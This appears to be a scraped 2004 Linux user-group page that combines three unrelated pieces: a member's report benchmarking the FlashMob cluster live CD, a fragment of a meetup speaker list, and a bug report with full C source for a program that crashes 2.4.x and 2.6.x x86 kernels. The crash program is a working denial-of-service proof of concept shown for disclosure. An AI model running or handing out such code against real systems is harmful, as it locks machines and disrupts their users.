FlashMob
by rajeshr＠vsnl.com 17 Jun '04

Hi, I have finally managed to download the FlashMob RC4 iso. I have played around with it a little bit and here are the results. Basic requirement is 200 MB of Free RAM after booting (Morphix-based). I ran a test on a PII 300MHz with 128MB RAM. I have PCQLinux2004 installed on this machine and it runs like a charm. I could boot Linux and run the software. It ran the small benchmark giving me 0.1 GFLOPS but it didn't run the big benchmark citing insufficient memory. Next I ran it on a PIV 1.8GHz 512MB RAM in standalone mode. It ran great, and the small benchmark gave me a result of 0.5 GFLOPS and the big benchmark gave me 1.04 GFLOPS. Third test was to run it on my Compaq Laptop PIV 2.3GHz 512MB RAM in standalone mode. For some reason the SpeedStep technology kicks in and runs the CPU only at 1.6GHz. This happens with Knoppix 3.3 also. I still haven't tried it out with Suse 9.1 LiveCD. Anyway, the benchmarks ran but gave me pathetic results of 0.2 GFLOPS and 0.4 GFLOPS. I have no idea why. I haven't tried to analyse it yet. Fourth test was to run the server on my Laptop and the PIV as a compute node. Both nodes were detected. In this case, I got an insufficient memory error (don't know for which node, but I suspect my laptop). The benchmark ran and gave me bad results again with the big benchmark just yielding 0.8 GFLOPS. In the fift test, I used another PIV 1.8GHz 512MB desktop as the server and similar configuration for the compute node. No errors this time and the benchmarks ran great giving me 0.5 GFLOPS and 1.8GFLOPS for the small and big benchmarks using 2 nodes. Do you think we can try this out on a larger scale now ? We can discuss this in the meet (when we meet :-)). Regards, Rajesh

Mr. Harsh Busa - /* Blog's, etc. */ 2. Mr. Ivan Bayross - /* Technical Aspects of RDBMS */ - Would love to also have a breif (about 5 mins) on commercial aspect of RDBMS, for example why dont people prefer to use Postgres against Oracle (Just an example - no flames please).

A bug lets a simple C program crash the Linux kernel, effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too. The Evil Code Running this simple C program crashes the Linux kernel. crash.c.txt #include <sys/time.h> #include <signal.h> #include <unistd.h> static void Handler(int ignore) { char fpubuf[108]; __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, Handler); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } This bug is confirmed to be present when the code is compiled with GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.
